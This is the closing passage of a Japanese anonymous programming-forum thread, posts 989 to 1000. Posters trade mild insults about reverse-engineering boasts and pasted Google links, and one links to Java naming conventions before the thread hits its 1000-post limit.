NGNGリバースエンジニアリングごときでいばるな。
シーケンス図もかけないんだろ?
0989デフォルトの名無しさん
NGNG0990デフォルトの名無しさん
NGNGよくこういう奴いるよね。
自分では説明できないから、googleの検索後URL乗せる奴。
意味ねぇっつーの。
0991デフォルトの名無しさん
NGNGに対する回答としては適当では。
0992デフォルトの名無しさん
NGNGgoogleの検索くらい自分でやっているんだよ。
わざわざ書き込まれなくても。
0993デフォルトの名無しさん
NGNGはぁ?
さっきから良スレ荒らしてんじゃねーよ。
0994デフォルトの名無しさん
NGNGこれでわからなかったらあんた向いてないよ。やめたほうがいい。
0995デフォルトの名無しさん
NGNGhttp://java.sun.com/blueprints/code/namingconventions.html
0996デフォルトの名無しさん
NGNGはぁ?
おまえネーミングルール出して何がしたいの?
お前全然わかってないだろ?
0997デフォルトの名無しさん
NGNGはぁ?
さっきから良スレ荒らしてんじゃねーよ。
0998デフォルトの名無しさん
NGNG0999デフォルトの名無しさん
NGNG1000デフォルトの名無しさん
NGNG10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。